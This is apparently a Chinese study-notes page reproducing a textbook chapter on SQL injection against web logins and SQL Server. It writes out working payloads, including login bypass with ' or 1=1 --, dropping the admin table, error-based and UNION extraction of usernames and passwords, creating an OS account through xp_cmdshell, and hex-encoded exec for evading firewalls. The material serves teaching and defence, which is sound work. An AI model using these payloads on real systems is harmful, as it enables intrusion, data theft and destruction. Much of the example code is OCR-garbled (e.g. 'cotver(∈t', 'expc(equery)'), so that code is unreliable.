7-12-13知识点学习
7-12-13知识点学习
5.1实例SQL注入
经过分析发现,登录处最终调用findAdmin方法,代码如下:
public boolean findAdmin (Admin admin) {
String sq1= "select count(*)from admin where username='"+admin.getUsername()+and password='"+admin.getPassword( )+"'"; //SQL查询语句
try {
ResultSetres =this.conn. createStatement( ).executeQuery (sq1);
//执行SQL语句
if(res.next()){
int 1 = res.getInt(1); //获取第一列的值
且f(1>0)
return true; //如果结果大于0,则返回 true
}
} catch (Exception e){
e.printStackTrace(); //打印异常信息
}
return false;
}
上述SQL语句的意思非常清楚:在数据库中查询username=xxx,并且password=xxx的结果,若查询的值大于0,则代表用户存在,返回true,代表登录成功,否则返回false,代表登录失败。
这段代码看起来并没有什么错误,现在提交账号为admin,密码为password,跟踪SQL语句,发现最终执行的SQL语句为:
select count(*) from admin where username='admin' and password='password'
在数据库中,存在admin用户,并且密码为password,所以此时返回结果为"1"。显然,1大于0,所以通过验证,用户可以成功登录。
接下来继续输入这个特殊用户“并跟踪SQL语句,最终执行SQL语句为:
select count(*) from admin where username= '' or 1=1 --' and password = ''
终于找到问题的根源了,从开发人员的角度理解,SQL语句的本义是:
username= '账户' and password= '密码'
现在却变为:
username='账户' or 1=1' and password=''
此时的password根本起不了任何作用,因为它已经被注释了,而且username='账户’ or 1=1
这条语句永远为真,那么最终执行的SQL语句相当于:
select count(*) from admin //查询admin表所有的数据条数
很显然,返回条数大于0,所以可以顺利通过验证,登录成功。这就是一次最简单的SQL 注入过程。虽然过程很简单,但其危害却很大,比如,在用户名位置处输入以下SQL语句:
'or 1=1; drop table admin --
因为SQL Server支持多语句执行,所以这里可以直接删除admin表。
由此可得知,SQL注入漏洞的形成原因就是:用户输入的数据被SQL解释器执行。
仅仅知道SQL注入漏洞形成的原因还不足以完美地做好SQL注入的防护工作,因为它是防不胜防的。下面将详细介绍攻击者SQL注入的常用伎俩,以做好Web防注入工作。
5.2注入漏洞分类
在测试注入漏洞之前,首先要弄清楚一个概念:注入的分类。明白了分类之后,再测试注入将起到事半功倍的效果。
常见的SQL注入类型包括:数字型和字符型。也有人把类型分得更多、更细。但不管注入类型如何,攻击者的目的只有一点,那就是绕过程序限制,使用户输入的数据带入数据库执行,利用数据库的特殊性获取更多的信息或者更大的权限。
5.2.1 数字型注入
当输入的参数为整型时,如:ID、年龄、页码等,如果存在注入漏洞,则可以认为是数字型注入,数字型注入是最简单的一种。假设有URL为HTTP://www.xxser.com/test.php?id=8,可以猜测SQL语句为:
select * from table where id=8
测试步骤如下。
①HTTP://www.xxser.com/test.php?id=8'
SQL语句为:select*from table where,这样的语句肯定会出错,导致脚本程序无法从数据库中正常获取数据,从而使原来的页面出现异常。
②HTTP://www.xxser.com/test.php?id=8and1=1
SQL语句为select * from table where id=8and1=1,语句执行正常,返回数据与原始请求无任何差异。
③ HTTP://www.xxser.com/test.php?id=8and1=2
SQL 语句变为 select * from table whereid=8and1=2,语句执行正常,但却无法查询出数据,因为“and 1=2”始终为假。所以返回数据与原始请求有差异。
如果以上三个步骤全部满足,则程序就可能存在SQL注入漏洞。
这种数字型注入最多出现在ASP、PHP等弱类型语言中,弱类型语言会自动推导变量类型,例如,参数id=8,PHP会自动推导变量id的数据类型为int类型,那么
id=and1=1,则会推导为string类型,这是弱类型语言的特性。而对于Java、C#这类强类型语言,如果试图把一个字符串转换为int类型,则会抛出异常,无法继续执行。所以,强类型的语言很少存在数字型注入漏洞,强类型语言在这方面比弱类型语言有优势。
5.2.2 字符型注入
当输入参数为字符串时,称为字符型。数字型与字符型注入最大的区别在于:数字类型不需要单引号闭合,而字符串类型一般要使用单引号来闭合。
·数字型例句如下:
select * from table where id=8
·字符型例句如下:
select * from table where username='admin'
字符型注入最关键的是如何闭合SQL语句以及注释多余的代码。
当查询内容为字符串时,SQL代码如下:
select * from table where username = 'admin'
当攻击者进行SQL注入时,如果输入“admin and1=1",则无法进行注入。因为“admin and 1=1".会被数据库当作查询的字符串,SQL语句如下:
select * from table where username ='admin and 1=1
这时想要进行注入,则必须注意字符串闭合问题。如果输入“admin'and1=1⋯就可以继续注入,SQL语句如下:
select * from table where username and 1=1 --‘
只要是字符串类型注入,都必须闭合单引号以及注释多余的代码。例如,update语句:
update Person set username='username',set password='password' where id=1
现在对该SQL语句进行注入,就需要闭合单引号,可以在username或password 处插入语句为“'+(select@@version)+'”,最终执行的SQL语句为:
update person set username='username', set password=''+(select @eversion)+where id=1
利用两次单引号闭合才完成SQL注入。
注:数据库不同,字符串连接符也不同,如SQL Server连接符号为“+”,Oracle连接符为“|”,MySQL连接符为空格。
例如 Insert语句:
Insert into users (username,password,title) values ('username', 'password', 'title')
当注入title字段时,可以像update 注入一样,直接使用以下SQL语句:
Insert into users (username,password,title) values ('username', 'password',"'+(select @@version)+'')
5.2.3 SQL注入分类
笔者认为SQL注入只分为数字型与字符型,但是很多初学者可能会问不是还有Cookie注入、POST 注入、盲注、延时等注入吗?没错,确实如此,不过也仅仅是以上两大类的不同展现形式,
或者不同的展现位置罢了。
那么,为什么笔者认为SQL注入只分为数字型与字符型呢?因为对数据库进行数据查询时,输入数据一般只有两种:一个是数字类型,比如whereid=1、Whereage>20,另外是一个字符串类型,比如where name='root'、where datetime>'2013-08-18'。
可能不同的数据库的比较方式不一样,但带入数据库查询时一定是字符串。所以,无论是POST注入,还是其类型注入,都可归纳为数字型注入或者字符型注入。
注:严格地说,数字也是字符串,在数据库中进行数据查询时,where id='1'也是合法的,只不过在查询条件为数字时一般不会加单引号。
那么Cookie注入、POST注入等是怎么回事呢?其实这类注入主要通过注入的位置来分辨,比如有以下请求:
POST /user/login.php HTTP/1.1
Host: www.secbug.org
Proxy-Connection: keep-alive
Content-Length: 53
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.17 (KHTML, like Gecko)
Chrome/24.0.1312.57 Safari/537.17 SE 2.X MetaSr 1.0
Content-Type: application/x-www-form-urlencoded
Cookie: _jkb_10667=1
username=admin&password=123456
此时为POST请求,但是POST数据中的username字段存在注入漏洞,一般都会直接说POST注入,却不再考虑username是什么类型的注入,如果此时的HTTP请求如下:
GET /user/login.php?username=admin&password=123456 HTTP/1.1
Host:www.secbug.org
Proxy-Connection: keep-alive
Content-Length: 53
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.17 (KHTML, like Gecko)
Chrome/24.0.1312.57 Safari/537.17 SE 2.X MetaSr 1.0
Content-Type: application/x-www-form-urlencoded
Cookie:-jkb10667=1
那么是否又应该叫做GET注入呢?
以下是一些常见的注入叫法。
·POST 注入:注入字段在POST数据中:
·Cookie 注入:注入字段在 Cookie 数据中;
·延时注入:使用数据库延时特性注入;
·搜索注入:注入处为搜索的地点;
·base64注入:注入字符串需要经过base64加密;
5.2.4 常见数据库注入
攻击者对数据库注入,无非是利用数据库获取更多的数据或者更大的权限,那么利用方式可以归为以下几大类:
·查询数据
·读写文件
·执行命令
在权限允许的情况下,通常数据库都支持以上三种操作。而攻击者对程序注入,无论任何数据库,无非都是在做这三件事,只不过不同的数据库注入的SQL语句不一样罢了。
5.3.1 SQL Server
1.利用错误消息提取信息
SQL Server 数据库是一个非常优秀的数据库,它可以准确地定位错误消息,对开发人员来说,这是一件十分美好的事情,对攻击者来说也是一件十分美好的事情,因为攻击者可以通过错误消息提取数据。
(1)枚举当前表及列
现在有一张表,结构如下:
create table users(
id int not null identity(1,1),
username varchar(20) not null,
password varchar(20) not null,
privs int not nu11,
email varchar(50)
)
查询root用户的详细信息,SQL语句如下:
select * from users where username='root'
攻击者可以利用SQL Server特性来获取敏感信息,输入如下语句:
having1=1-
最终执行SQL语句为:
select * from users where username='root' and password='root' having 1=1--1
那么SQL执行器将抛出一个错误(因版本差异,显示错误信息也稍有差异):
消息8120,级别16,状态1,第2行
选择列表中的列'users.id'无效,因为该列没有包含在聚合函数或GROUP BY子句中
可以发现当前表名为“users”,并且存在“ID”列名,攻击者可以利用此特性继续得到其他列名,输入如下SQL语句:
select * from users where username='root' and password='root' group by users.id having 1=1--
执行器错误提示:
消息8120级别16,状态1,第1行
选择列表中的列 ‘users.username‘无效,因为该列没有包含在聚合函数或GROUP BY子句中。
可以看到执行器又抛出了“username”列名,由此可以依次递归查询,直到没有错误消息返回为止,这样就可以利用having子句“查询”出当前表的所有列名。
(2)利用数据类型错误提取数据
如果试图将一个字符串与非字符串比较,或者将一个字符串转换为另外一个不兼容的类型时,那么SQL编辑器将会抛出异常,比如以下SQL语句:
select * from users where username='root‘ and password = ‘root’ and 1 > (select top 1 username from users)
执行器错误提示:
消息245,级别16,状态1,第2行
在将varchar值’root’转换成数据类型int时失敗。
可以发现root账户已经被SQL Server给“出卖”了,利用此方法可以递归推导出所有的账户信息:
select * from users where username='root' and
password='root' and 1> ( select top 1 username from users where username not in('root'))
如果不嵌入子查询,也可以使数据库报错,这就用到了SQL Server的内置函数CONVERT 或者CASE函数,这两个函数的功能是:将一种数据类型转换为另外一种数据类型。输入如下SQL语句:
select * from users where username='root' and
password='root' and1=cotver(∈t,(select top 1 users.username from users ))
如果感觉递归比较麻烦,可以通过使用FOR XML PATH 语句将查询的数据生成XML,SQL 语句如下:
select * from userswhere username='root' AND
(select stuff((select ','+ users.username, '|' +users.password from users for xml path('')),1,1,'')))
| TABLE_NAME | |
|---|---|
| 1 | Result |
| 2 | Student |
| 3 | tests |
| 4 | users |
| 5 | Grade |
| 6 | Subject |
| COLUMN_NAME | |
|---|---|
| 1 | StudentNo |
| 2 | LoginPwd |
| 3 | StudentName |
| 4 | Sex |
| 5 | Gradeld |
| 6 | Phone |
执行器抛出异常:
消息245,级别16,状态1,第1行
在将 nvarchar 值 'root|root,admin|admin,xxser|xxser'转换成数据类型 int 时失敗****。
2.获取元数据
SQL Server提供了大量视图,便于取得元数据。下面将使用 INFORMATION_SCHEMA.TABLES 与INFORMATION_SCHEMA.COLUMNS 视图取得数据库表以及表的字段。
取得当前数据库表:
SELECT TABLE NAME FROM INFORMATION SCHEMA.TABLES
执行结果如图5-3所示。
取得Student表字段:
SELECT COLUMN NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='Student'
表5-1 常见表视图
| 数据库视图 | 说 明 |
|---|---|
| sys.databases | SQL Server 中的所有数据库 |
| sys.sql_logins | SQL Server 中的所有登录名 |
| information_schema.tables | 当前用户数据库中的表 |
| information_schema.columns | 当前用户数据库中的列 |
| sys.all_columns | 用户定义对象和系统对象的所有列的联合 |
| sys.database_principals | 数据库中每个权限或列异常权限 |
| sys.database_files | 存储在数据库中的数据库文件 |
| sysobjects | 数据库中创建的每个对象(例如约束、日志以及存储过程) |
3.Order by 子句
微软解释 Order by子句:为SELECT查询的列排序,如果同时指定了TOP关键字,Order by 子句在视图、内联函数、派生表和子查询中无效。
攻击者通常会注入Order by语句来判断此表的列数。
① select id,username,password from users where id=1-SQL执行正常。
② select id,username,password from users wherei=1Order by 1-按照第一列排序,SQL 执行正常。
③ select id,username,password from users where ii=1Order by 2-按照第二列排序,SQL 执行正常。
④ select id,username,password from users wherei=1Order by 3-按照第三列排序,SQL 执行正常。
⑤ select id,username,password from users wherei=1Order by 4-抛出如下异常。
消息108,级别16,状态1,第1行
ORDER BY 位置号4 超出了选择列表中项数的范围。
在SQL语句中,只查询了三列,而我们却要求数据库按照第四列排序,所以数据库抛出异常,而攻击者也得知了当前SQL语句有几列存在。在Oracle、MySQL数据库中同样适用此语句。
在得知列数后,攻击者通常会配合UNION关键字进行下一步的攻击。
4.UNION 查询
UNION 关键字将两个或更多个查询结果组合为单个结果集,俗称联合查询,大部分数据库都支持UNION查询,如:MySQL、SQL Server、Oracle、DB2等。下面列出了使用 UNION 合并两个查询结果集的基本规则。
·所有查询中的列数必须相同。
·数据类型必须兼容。
例一:联合查询探测字段数
前面介绍的USER表中,查询id字段为1的用户,正常的SQL语句为:
select id,username,password from users wherei=1
使用UNION查询对id字段注入,SQL语句如下:
select id,username,password,sex from users where id = 1 union select null
数据库发出异常:
消息205,级别16,状态1,第1行
使用 UNION、INTERSECT 或 EXCEPT 运算符合并的所有查询必须在其目标列表中有相同数目的表达式。
递归查询,直到无错误产生,可得知User表查询的字段数:
union select null,null
union select null,null,null
也有人喜欢使用union select 123 语句,不过该语句容易出现类型不兼容的异常。
前面已经介绍了如何获取字段数,接下来曝光攻击者如何使用 UNION 关键字查询敏感信息,UNION查询可以在SQL注入中发挥非常大的作用。
如果得知列数为4,可以使用以下语句继续注入:
id=5union select 'x',null,null,null from sysobject where
如果第1列数据类型不匹配,数据库将会报错,这时可以继续递归查询,直到语句正常执行为止。
id=5union select null, 'x',nu11,null from sysobject where
id=5union select null, null, 'x',null from sysobject where
语句执行正常,代表数据类型兼容,就可以将x换为SQL语句,查询敏感信息。
也有攻击者喜欢用UNION ALL关键字,UNION和UNION ALL最大的区别在于UNION 会自动去除重复的数据,并且按照默认规则排序。
5.无辜的函数
SQL Server提供了非常多的系统函数,利用该系统函数可以访问 SQL Server 系统表中的信息,而无须使用SQL语句查询。系统函数给我们带来极大便利的同时也成了攻击者获取信息的利器。
使用系统函数是一件非常简单的事情,例如:
·select suser_name():返回用户的登录标识名;
·select user _name():基于指定的标识号返回数据库用户名;
·select db_name():返回数据库名称;
·select is_member('db _owner'):是否为数据库角色;
·select convert(int,'5'):数据类型转换。
SQL Server 常用函数如表5-2所示。
表5-2 SQL Server常用函数
| 函 数 | 说 明 |
|---|---|
| stuff | 字符串截取函数 |
| ascii | 取ASCII码 |
| char | 根据ASCII码取字符 |
| getdate | 返回日期 |
| count | 返回组中的总条数 |
| cast | 将一种数据类型的表达式显式转换为另一种数据类型的表达式 |
| rand | 返回随机值 |
| is_srvrolemember | 指示SQL Server登录名是否为指定服务器角色的成员 |
6.危险的存储过程
存储过程(Stored Procedure)是在大型数据库系统中为了完成特定功能的一组SQL“函数”,
如:执行系统命令,查看注册表,读取磁盘目录等。
攻击者最常使用的存储过程是“xp_cmdshell”,这个存储过程允许用户执行操作系统命令。
例如:http://www.secbug.org/test.aspx?id=1存在注入点,那么攻击者就可以实施命令攻击:
http://www.secbug.org/test.aspx?id=1;exec xp_cmdshell 'net user test test /add'
最终执行SQL语句如下:
select * from table where id=1; exec xp_cmdshell 'net user test test /add'
攻击者可以直接利用xp_cmdshell 操纵服务器。
注:并不是任何数据库用户都可以使用此类存储过程,用户必须持有CONTROL SERVER 权限。
像xp_cmdshell之类的存储过程还有很多,常见的危险存储过程如表5-3所示。
表5-3 常见的存储过程
| 过程 | 说 明 |
|---|---|
| 创建新的 SQL Server登录,该登录允许用户使用SQL Server身份验证连 |
| sp_addlogin | 接到SQL Server 实例 |
|---|---|
| sp_dropuser | 从当前数据库中删除数据库用户 |
| xp_enumgroups | 提供 Microsoft WVindows本地组列表或在指定的Windows域中定义的全局组列表 |
| xp_regwrite | 未被公布的存储过程,写入注册表 |
| xp_regread | 读取注册表 |
| xp_regdeletevalue | 删除注册表 |
| xp_dirtree | 读取目录 |
| sp_password | 更改密码 |
| xp_servicecontrol | 停止或激活某服务 |
攻击者也可能会自己写一些存储过程,比如I/O操作(文件读/写),这些都是可以实现的。
另外,任何数据库在使用一些特殊的函数或存储过程时,都需要有特定的权限,否则无法使用。
SQL Server数据库的角色与权限如下。
·bulkadmin:角色成员可以运行BULK INSERT 语句。
·dbcreator:角色成员可以创建、更改、删除和还原任何数据库。
·diskadmin:角色成员可以管理磁盘文件。
·processadmin:角色成员可以终止在数据库引擎实例中运行的进程。
·securityadmin:角色成员可以管理登录名及其属性。可以利用 GRANT、DENY 和REVOKE 服务器级别的权限;还可以利用GRANT、DENY和REVOKE 数据库级别的权限。此外,也可以重置SQL Server登录名的密码。
·serveradmin:角色成员可以更改服务器范围的配置选项和关闭服务器。
·setupadmin:角色成员可以添加和删除链接服务器,并可以执行某些系统存储过程。
·sysadmin:角色成员可以在数据库引擎中执行任何活动。默认情况下,Windows BUILTIN\Administrators组(本地管理员组)的所有成员都是sysadmin固定服务器角色的成员。
7.动态执行
SQL Server支持动态执行语句,用户可以提交一个字符串来执行SQL语句,例如:
exec('select username,password from users')
exec('selec'+'t username,password fusers')
也可以通过定义十六进制的SQL语句,使用exec函数执行。大部分Web应用程序防火墙都过滤了单引号,利用exec执行十六进制SQL语句并不存在单引号,这一特性可以突破很多防火墙及防注入程序,如:
declare @query varchar(888)
select @query=0x73656C6563742031
expc(equery)
或者
detarte//@query//varchar(888)/★★/select/★★/query=0×73656C6563742031//expexe c(@query)**

浙公网安备 33010602011771号